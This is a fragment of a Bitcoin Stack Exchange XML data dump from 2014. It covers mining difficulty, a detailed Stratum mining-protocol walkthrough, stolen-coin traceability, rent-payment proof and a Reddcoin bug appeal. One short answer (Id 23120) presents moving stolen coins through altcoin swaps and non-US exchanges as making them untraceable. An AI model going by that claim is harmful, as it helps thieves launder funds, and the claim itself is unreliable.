OwnerUserId="13413" LastActivityDate="2014-03-05T19:42:06.827" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23108" PostTypeId="2" ParentId="23099" CreationDate="2014-03-05T19:49:24.000" Score="17" Body="&lt;p&gt;(If I may &lt;a href=&quot;https://bitcoin.stackexchange.com/a/22931/12034&quot;&gt;repeat myself&lt;/a&gt; a bit...) Mining is like having a lot of people throwing weighted coins (such that 1 millionth of the time it comes up heads) and telling you when they hit a heads. If one such &quot;heads&quot; is reported every 10 minutes (600 seconds), you can make a very accurate estimation of how many times per second the coins are being flipped. In this example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(1,000,000 flips/heads) / (600 seconds/heads) ~= &#xA;1,667 flips/second&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The network difficulty is how you adjust this &lt;code&gt;1,000,000&lt;/code&gt; figure so that the &lt;code&gt;600&lt;/code&gt; figure stays consistent as the network's total hash power (&lt;code&gt;1,667&lt;/code&gt;) changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see real-world calculations of how the difficulty affects the coins discovered per time spent, see any &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;noreferrer&quot;&gt;mining profitability calculator&lt;/a&gt;, and change the &quot;difficulty&quot; figure. The Bitcoin wiki has &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;noreferrer&quot;&gt;details on difficulty&lt;/a&gt;, as well.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I don't know what a hash is either.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining&quot; rel=&quot;noreferrer&quot;&gt;mining&lt;/a&gt;, your computer creates a block of data, which has a list of all of the transactions it knows about, includes a transaction that pays you the mining bonus, and then hashes that. If the hash happens to be a small enough number (as defined by the difficulty), the block is valid. If it's not, you increment a random number called a &quot;nonce&quot; that's in the block, so that the block has the same meaning but different data, and hashes the block again. Lather, rinse, repeat. (the nonce is included from the start, of course, but I didn't mention it to avoid being confusing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The details of the block hash are explained in more detail at &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin wiki's Block hashing algorithm&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gigahashes per second, then, are how many billion times your hardware can do this hash per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the pool you're in has 424 Th/s and you have 100 Gh/s, then you are about 1/4000th of your pool's total power. You can expect to be the one to solve about 1/4000th of the blocks (on average) that your pool finds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(technical details intentionally omitted; those are available at my various links, and your link)&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-03-05T19:49:24.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23109" PostTypeId="1" CreationDate="2014-03-05T19:59:16.840" Score="5" ViewCount="7028" Body="&lt;p&gt;I have to admit I don't fully understand the Bitcoin protocol. But from what I do understand, transactions are traceable -- it is the main reason decentralization works: the world can watch and confirm that a transaction is legit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why then can't we observe when a thief tries to cash out or otherwise exchange a Bitcoin that we know to have been stolen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;http://seekingalpha.com/instablog/7360901-robert-wagner/2715103-many-bitcoins-are-now-stolen-property-with-a-public-ledger&quot; rel=&quot;noreferrer&quot;&gt;Robert Wagner writes&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1 out of every 14 Bitcoins is now stolen property, and there are&#xA;  plenty of laws governing stolen property.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? With so many Bitcoins identified as &quot;stolen,&quot; why can't they be traced, recovered and returned to their rightful owner?&lt;/p&gt;&#xA;" OwnerUserId="5290" LastActivityDate="2021-04-23T22:11:44.047" Title="Why is it so difficult to track &amp; recover stolen Bitcoins?" Tags="|wallet|legal|traceability|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23110" PostTypeId="2" ParentId="197" CreationDate="2014-03-05T20:24:27.090" Score="2" Body="&lt;p&gt;The only way to &quot;reverse&quot; the transaction is to immediately double-spend from the same set of UXTOs to a different address that you control (within a few seconds after your original transmission) and pray that the doublespend reaches enough nodes and wins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if your tx is already confirmed in a block, then no way.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-05T20:24:27.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23112" PostTypeId="2" ParentId="22929" CreationDate="2014-03-05T22:27:58.520" Score="14" Body="&lt;p&gt;Alright, I finally managed to fix my bugs and get a full roundtrip. Here is an example for a full communication with a Pool.&#xA;I don't explain everything in detail as the API description can be found elsewhere.&lt;/p&gt;&#xA;&lt;p&gt;a) Suscription&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;id&amp;quot;: 1, &amp;quot;method&amp;quot;: &amp;quot;mining.subscribe&amp;quot;, &amp;quot;params&amp;quot;: []}&#xA;{&amp;quot;error&amp;quot;: null, &amp;quot;id&amp;quot;: 1, &amp;quot;result&amp;quot;: [[&amp;quot;mining.notify&amp;quot;, &amp;quot;ae6812eb4cd7735a302a8a9dd95cf71f&amp;quot;], &amp;quot;f8002c90&amp;quot;, 4]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We suscribe with the server. This has no parameters.&#xA;As result, we receive some Suscription ID, and our Extranonce1 + extranonce2 size, which we need for later.&#xA;b) authorization&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;params&amp;quot;: [&amp;quot;User&amp;quot;, &amp;quot;password&amp;quot;], &amp;quot;id&amp;quot;: 2, &amp;quot;method&amp;quot;: &amp;quot;mining.authorize&amp;quot;}&#xA;{&amp;quot;error&amp;quot;: null, &amp;quot;id&amp;quot;: 2, &amp;quot;result&amp;quot;: true}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Authorize worker with Username + password. No parameters to store from the result.&#xA;c) Server -&amp;gt; difficulty&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;params&amp;quot;: [32], &amp;quot;id&amp;quot;: null, &amp;quot;method&amp;quot;: &amp;quot;mining.set_difficulty&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Sets the difficulty to 32, defining our target. The resulting difficulty can be calculated as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x0000FFFF00000000000000000000000000000000000000000000000000000000 / 32 =&#xA;0x000007fff8000000000000000000000000000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, the fun part:&#xA;d) Block info&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;params&amp;quot;: [&amp;quot;b3ba&amp;quot;, &amp;quot;7dcf1304b04e79024066cd9481aa464e2fe17966e19edf6f33970e1fe0b60277&amp;quot;, &amp;quot;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff270362f401062f503253482f049b8f175308&amp;quot;, &amp;quot;0d2f7374726174756d506f6f6c2f000000000100868591052100001976a91431482118f1d7504daf1c001cbfaf91ad580d176d88ac00000000&amp;quot;, [&amp;quot;57351e8569cb9d036187a79fd1844fd930c1309efcd16c46af9bb9713b6ee734&amp;quot;, &amp;quot;936ab9c33420f187acae660fcdb07ffdffa081273674f0f41e6ecc1347451d23&amp;quot;], &amp;quot;00000002&amp;quot;, &amp;quot;1b44dfdb&amp;quot;, &amp;quot;53178f9b&amp;quot;, true], &amp;quot;id&amp;quot;: null, &amp;quot;method&amp;quot;: &amp;quot;mining.notify&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I split the parameters and assign them to variables&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;job_id = &amp;quot;b3ba&amp;quot;&#xA;prevhash = &amp;quot;7dcf1304b04e79024066cd9481aa464e2fe17966e19edf6f33970e1fe0b60277&amp;quot;&#xA;coinb1 = &amp;quot;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff270362f401062f503253482f049b8f175308&amp;quot;&#xA;coinb2 = &amp;quot;0d2f7374726174756d506f6f6c2f000000000100868591052100001976a91431482118f1d7504daf1c001cbfaf91ad580d176d88ac00000000&amp;quot;&#xA;Merklebranches = [ &#xA;    &amp;quot;57351e8569cb9d036187a79fd1844fd930c1309efcd16c46af9bb9713b6ee734&amp;quot;, &#xA;    &amp;quot;936ab9c33420f187acae660fcdb07ffdffa081273674f0f41e6ecc1347451d23&amp;quot;&#xA;    ]&#xA;version = &amp;quot;00000002&amp;quot;&#xA;nbits = &amp;quot;1b44dfdb&amp;quot;&#xA;ntime = &amp;quot;53178f9b&amp;quot;&#xA;clean_jobs = true// Not required for block, just for completeness&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What we also need is extranonce1 and extranonce 2:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;extranonce1 = &amp;quot;f8002c90&amp;quot; // from earlier&#xA;extranonce2 = &amp;quot;00000002&amp;quot; // can be anything, but 4 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With this, we can start building our Merkle root:&#xA;First, the coinbase:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;coinbase = coinb1  + extranonce1 + extranonce2 + coinb2;&#xA;coinbase = &amp;quot;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff270362f401062f503253482f049b8f175308f8002c90000000020d2f7374726174756d506f6f6c2f000000000100868591052100001976a91431482118f1d7504daf1c001cbfaf91ad580d176d88ac00000000&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, we convert this coinbase into binary. No flips or BE-LE conversions required, straight from left to right.&#xA;The resulting binary data is hashed with sha256(sha256(data)).&#xA;From here on, I will post binary as hex representation, but as is: Left to right, no endianess conversion&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;resulting hash : 280b3927f6763b1ed90cae2a3cef4d27c743f6a7d91e3901dc3816a46acacf36&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the start for the merkle concatination. Concatinating means just joining them. 32 byte for the hash and 32 byte for each merkleroot result in 64 byte of data to hash.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for each Merkle_branch&#xA;    byte[64] = hash + merkle_branch&#xA;    hash = sha256(sha256(byte))&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For the example it looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;byte = 280b3927f6763b1ed90cae2a3cef4d27c743f6a7d91e3901dc3816a46acacf36 + 57351e8569cb9d036187a79fd1844fd930c1309efcd16c46af9bb9713b6ee734&#xA;hash = e6df228610b9f0e96a42a4877565627a3e1e133e984b6c46ff6e44b7dc9dc056&#xA;&#xA;byte = e6df228610b9f0e96a42a4877565627a3e1e133e984b6c46ff6e44b7dc9dc056 + 936ab9c33420f187acae660fcdb07ffdffa081273674f0f41e6ecc1347451d23&#xA;hash = 0b1edc1ccf82d3214423fc68234f4946119e39df2cc2137e31ebc186191d5422&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which is the final merkle_root. There is no need of converting it back to hex, it can be kept in binary format for the next step&lt;/p&gt;&#xA;&lt;p&gt;e) Block header&#xA;The block header is build with all previous information + the calculated merkle root. It results in 80 byte of Data&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;blockHeader {&#xA;    version[4]&#xA;    prevhash[32]&#xA;    merkle_root[32]&#xA;    ntime[4]&#xA;    nbit[4]&#xA;    nonce[4]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here, byte order gets a bit tricky: All 4 byte types are Little endian, and bytes have to be flipped. Merkleroot can be copied 1:1, without flipping bytes.&#xA;prevhash is what surprised me the most. It can be best viewed as an array of 8 4byte ints, where each of these ints has to be converted to LE, but the order is kept left to right.&#xA;I show it in the example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;version:  00000002 --&amp;gt; 02000000&#xA;prevhash: 7dcf1304 b04e7902 4066cd94 81aa464e 2fe17966 e19edf6f 33970e1f e0b60277&#xA;        --&amp;gt;   0413cf7d 02794eb0 94cd6640 4e46aa81 6679e12f 6fdf9ee1 1f0e9733 7702b6e0 // 8 ints left to right, each one flipped&#xA;merkle:   0b1edc1c cf82d321 4423fc68 234f4946 119e39df 2cc2137e 31ebc186 191d5422 // nothing changed &#xA;ntime:    53178f9b --&amp;gt; 9b8f1753&#xA;nbits:    1b44dfdb --&amp;gt; dbdf441b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Results in the following bytestream:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;020000000413cf7d02794eb094cd66404e46aa816679e12f6fdf9ee11f0e97337702b6e00b1edc1ccf82d3214423fc68234f4946119e39df2cc2137e31ebc186191d54229b8f1753dbdf441b00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that we don't need the padding or anything, like the bitcoin implementations have, the 80 bytes are all we need.&#xA;Now, lets hash it&#xA;f) hashing and result&#xA;sending this through a scrypt cycle results in the following hash:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;f6f13e350aa4f251e192ab8a78690ee99f1cc2d930d4ae16c4172a0a8aefddd0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Well, this is not the hash we are looking for... So we start playing with nonce first, and if thats not enough we can increase the ntime. Until finally, after a long time, we try&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;nonce = &amp;quot;00007f8a&amp;quot; // BigEndian&#xA;time = &amp;quot;53178f9f&amp;quot; // BigEndian&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This gives us the following Block and resulting hash:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;block = 020000000413cf7d02794eb094cd66404e46aa816679e12f6fdf9ee11f0e97337702b6e00b1edc1ccf82d3214423fc68234f4946119e39df2cc2137e31ebc186191d54229f8f1753dbdf441b8a7f0000&#xA;hash = 7441207b6390054623bc5e659ffe2581356dafc5ec41db44d27de85035000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Looks kind of high, but here again, endianess has to be considered. To compare it with our Target, we have to compare high to low. And, not to forget that we have to change the byte order of our target:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;target = 0x000007fff8000000000000000000000000000000000000000000000000000000&#xA;   ---&amp;gt;  0x000000000000000000000000000000000000000000000000000000f8ff070000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now if we compare them:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;000000000000000000000000000000000000000000000000000000f8ff070000&#xA;7441207b6390054623bc5e659ffe2581356dafc5ec41db44d27de85035000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We see that the hash is below our target, and we can submit it. Alternatively we can look at them in the other byte order (in which it is printed most of the time)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;000007fff8000000000000000000000000000000000000000000000000000000&#xA;0000003550e87dd244db41ecc5af6d358125fe9f655ebc23460590637b204174&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which looks the same, mostly. This leads us to our final step:&#xA;g) Submit Share&#xA;Now we collect the variable parameters we used, and send them to the server.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;user = &amp;quot;user&amp;quot;&#xA;job_id = &amp;quot;b3ba&amp;quot;&#xA;extranonce2 = &amp;quot;00000002&amp;quot; // No byte swapping needed. Its how we put it in the coinbase&#xA;ntime = &amp;quot;53178f9f&amp;quot; // This is Big Endian. The ntime in the block_header is little endian. IF you read it from your block_header, don't forget to swap&#xA;nonce = &amp;quot;00007f8a&amp;quot; // Same here. Convert To BigEndian before sending&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We pack these Data in a neat JSon wrapper, and send it off to the server:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;params&amp;quot;: [&amp;quot;User&amp;quot;, &amp;quot;b3ba&amp;quot;, &amp;quot;00000002&amp;quot;, &amp;quot;53178f9f&amp;quot;, &amp;quot;00007f8a&amp;quot;], &amp;quot;id&amp;quot;: 4, &amp;quot;method&amp;quot;: &amp;quot;mining.submit&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And, if all works well, and we have no other problems (like stale shares or anything), we get a positive response:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;error&amp;quot;: null, &amp;quot;id&amp;quot;: 4, &amp;quot;result&amp;quot;: true}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And thats it! For more shares repeat as often as wanted.&lt;/p&gt;&#xA;" OwnerUserId="14068" LastEditorUserId="14068" LastEditDate="2021-01-19T09:16:25.033" LastActivityDate="2021-01-19T09:16:25.033" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="23114" PostTypeId="2" ParentId="23109" CreationDate="2014-03-06T00:49:17.363" Score="1" Body="&lt;p&gt;Transactions can occur very quickly and the stolen coins can exchange hands, split up and be mixed with other coins multiple times before the theft is discovered. Many innocent parties (whether it is merchants, exchanges or other individuals) could be affected. Who is going to be holding the bag?&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-06T00:49:17.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23117" PostTypeId="1" AcceptedAnswerId="23121" CreationDate="2014-03-06T04:01:23.563" Score="24" ViewCount="5354" Body="&lt;p&gt;Let's say I'm paying my monthly rent using bitcoin. I'm going to set up a script to send 5 bitcoin from my wallet to my landlord's address every month. I will not be able to tell beforehand which addresses the bitcoins will come from, nor does my landlord want to verify signatures on many addresses.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I prove that 5 bitcoin is leaving my wallet every month and going into my landlord's account?&lt;/p&gt;&#xA;" OwnerUserId="14197" LastActivityDate="2019-04-24T10:46:30.343" Title="How to prove to my landlord that bitcoin came from my wallet?" Tags="|payment|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23118" PostTypeId="1" AcceptedAnswerId="23123" CreationDate="2014-03-06T04:03:26.553" Score="1" ViewCount="325" Body="&lt;p&gt;There are input and output addresses in each transaction of cryptocurrency. So everyone can trace the flow back. If someone send me some BTC or other cryptocurrency to my address, and I regenerate a new address in my wallet and send some BTC to other one with the new address. Is it possible to trace it back to the original sender?&lt;/p&gt;&#xA;" OwnerUserId="9307" LastActivityDate="2014-03-23T07:51:51.147" Title="Is it possible to trace BTC or cryptocurrencies?" Tags="|transactions|wallet|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23120" PostTypeId="2" ParentId="23109" CreationDate="2014-03-06T04:14:03.770" Score="1" Body="&lt;p&gt;you can't trace stolen bitcoins. when you move the stolen bitcoins into exchange and say exchange into dogecoin or litecoin then exchange back to bitcoins then everything would screwed all up, it's untraceable. also exchange like btc-e or bter which are not base in the u.s so the u.s can't do anything or even try to close them.&lt;/p&gt;&#xA;" OwnerUserId="14198" LastActivityDate="2014-03-06T04:14:03.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23121" PostTypeId="2" ParentId="23117" CreationDate="2014-03-06T04:15:00.717" Score="38" Body="&lt;p&gt;One way might be to have the landlord generate a different address for each tenant. So you pay your landlord using address A, and your neighbour pays using address B, and the landlord can tell who the payment came from by the destination address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That doesn't prove that the payment came from &lt;em&gt;your&lt;/em&gt; wallet of course, but this allows somebody else to make the rent payment on your behalf (and the landlord wouldn't know the difference).&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-06T04:15:00.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23122" PostTypeId="1" AcceptedAnswerId="23125" CreationDate="2014-03-06T04:16:36.380" Score="0" ViewCount="181" Body="&lt;p&gt;No computer at the moment, so I have Wallets at two independent websites.  I sent millibits from one wallet to the other.  I hear that you have to use your private key to do that.  So, I guess that site created the private key for me, and they control it?  I certainly don’t know what it is.&lt;/p&gt;&#xA;" OwnerUserId="14084" LastActivityDate="2014-03-06T04:23:58.790" Title="What is my private key?" Tags="|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23123" PostTypeId="2" ParentId="23118" CreationDate="2014-03-06T04:21:13.667" Score="2" Body="&lt;p&gt;You can't &lt;em&gt;send&lt;/em&gt; bitcoins from a newly generated address. To send bitcoins, you use as inputs transactions that were previously sent to one of your addresses as an output. (Your client will use more than one previous transaction output if it needs to add up some transactions to reach the required amount.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;inputs&lt;/em&gt; to a new transaction are directly traceable to the &lt;em&gt;output&lt;/em&gt; from a previous transaction. You can send bitcoins to yourself, but that just adds another transaction hop in the sequence. The transaction chain can always be traced back.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-06T04:21:13.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23124" PostTypeId="1" CreationDate="2014-03-06T04:23:16.010" Score="0" ViewCount="281" Body="&lt;p&gt;I noticed something queer about cgminer, when I first started using it I got an ok amount of shares, but over time that number has been slowly dropping. it's the same difficulty,same temperature,but slightly less wu/m. it runs under the same conditions software  wise every day(i.e. no extra programs are running,Windows is not updating,etc) but yet it's still slowly dwindling away. not by huge chunks like suddenly stopping, but in general it's receiving less accepted shares(still 0 rejected shares, so it's not just failing at calculating them)&#xA;why is this happening, and is there anything I can do to help it?&lt;/p&gt;&#xA;" OwnerUserId="6838" LastActivityDate="2014-09-14T04:32:02.690" Title="why is cgminer slowing down over time?" Tags="|cgminer|dogecoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23125" PostTypeId="2" ParentId="23122" CreationDate="2014-03-06T04:23:58.790" Score="1" Body="&lt;p&gt;Yes, when you use an online wallet service, you are trusting the website operator to generate and maintain your private key(s) for your account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a saying that goes something like, &quot;Unless you hold your own private keys, your bitcoins aren't really yours.&quot;&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-06T04:23:58.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23126" PostTypeId="1" AcceptedAnswerId="23215" CreationDate="2014-03-06T04:31:40.730" Score="3" ViewCount="1460" Body="&lt;p&gt;Just out of curiosity, the &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Denial_of_Service_.28DoS.29_attacks&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki&lt;/a&gt; says &lt;code&gt;UTXO&lt;/code&gt; means &quot;Unspent Transaction Output&quot;, but what does each letter mean in the acronym?&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="65630" LastEditDate="2017-11-25T01:54:15.957" LastActivityDate="2017-11-27T20:41:55.617" Title="Why the &quot;Unspent Transaction Output Set&quot; is called &quot;UTXO&quot;, not &quot;UTOS&quot;?" Tags="|utxo|terminology|bitcoin-wiki|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23127" PostTypeId="1" AcceptedAnswerId="23162" CreationDate="2014-03-06T04:45:48.447" Score="2" ViewCount="133" Body="&lt;p&gt;I sent myself 33 millibits from one wallet to another.  At the destination, I am told that it took three minutes to get 172 confirmations, and there is a fee of 0.2 millibits.  But the balance increased by the full 33 millibits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in another view, it shows two outputs.  One is the 0.033 and the other is a very tiny amount—a few microbits, much less than 0.0002.&lt;/p&gt;&#xA;" OwnerUserId="14084" LastActivityDate="2017-12-31T11:50:56.070" Title="What kind of fee doesn't change the amount?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23128" PostTypeId="1" CreationDate="2014-03-06T04:48:12.563" Score="-1" ViewCount="220" Body="&lt;p&gt;We need some help with Reddcoin. We had a bug in our code, 2 lines were commented so the verification of block we’re not done properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/reddcoin/reddcoin/commit/88fc5fe0bf522e384b7aebfebced12b75e207e80&quot; rel=&quot;nofollow&quot;&gt;https://github.com/reddcoin/reddcoin/commit/88fc5fe0bf522e384b7aebfebced12b75e207e80&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone exploited that error and he was able to grab 7k block in 1 hours. We were able to delete those block but we still need to use the block before 44877, and fix the bug for future block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we need to do is this. We need to get nHeight in this function so we can ask the code to check only after block 44877.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in main.cpp, function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bool CBlock::CheckBlock(CValidationState &amp;amp;state, bool fCheckPOW, bool fCheckMerkleRoot) const&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to get access to the nHeight of the block and that’s it to fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can look at our source code to make some test at&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/reddcoin/reddcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/reddcoin/reddcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 BTC bounty for anyone who can fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reddcoin&lt;/p&gt;&#xA;" OwnerUserId="14024" LastActivityDate="2014-03-06T11:06:09.657" Title="We need help with Reddcoin C++ - 1 btc bounty for solution" Tags="|litecoin|c++|" AnswerCount="1" CommentCount="2" ClosedDate="2014-03-06T13:42:29.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="23130" PostTypeId="2" ParentId="23117" CreationDate="2014-03-06T05:54:18.817" Score="5" Body="&lt;p&gt;If he just wants to receive money to cover your rent, suggest him a different address per tenant as in Greg's answer, it's simplest and cleanest (and you could even have a benefactor paying for you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should he want money from &lt;em&gt;you&lt;/em&gt; specifically... If I recall it, you can add small texts in your transactions - but that's an advanced feature that requires, as far as I know, manual steps. You could try sending a small text with your payment with just your last name, or a more thorough message encrypted with your landlord's public key.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-06T05:54:18.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23131" PostTypeId="1" AcceptedAnswerId="23133" CreationDate="2014-03-06T06:13:39.650" Score="5" ViewCount="9586" Body="&lt;p&gt;I have heard in many places that mining difficulty is increasing, meaning that the hardware used to mine new coins will need to be more and more powerful as time goes on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is pushing mining difficulty upward? Is it related the number of people mining (a supply and demand kind of thing), the size of the blockchain, an intentional system design?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found two related questions &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18842/why-is-the-reward-decreasing-while-the-difficulty-of-mining-is-increasing&quot;&gt;1&lt;/a&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9926/does-difficulty-ever-stop-increasing&quot;&gt;2&lt;/a&gt;, but they are not exactly the same. I am more interested in what factors affect the difficulty and how. For bonus points, include predictions about future conditions.&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2018-10-15T10:00:59.810" Title="Why is mining difficulty increasing?" Tags="|economic-theory|difficulty|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23132" PostTypeId="2" ParentId="23131" CreationDate="2014-03-06T06:45:47.603" Score="1" Body="&lt;p&gt;Mining difficulty is periodically adjusted to ensure that block time stays at about 10 minutes. As more mining capability is brought online, difficulty will increase accordingly.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-06T06:45:47.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
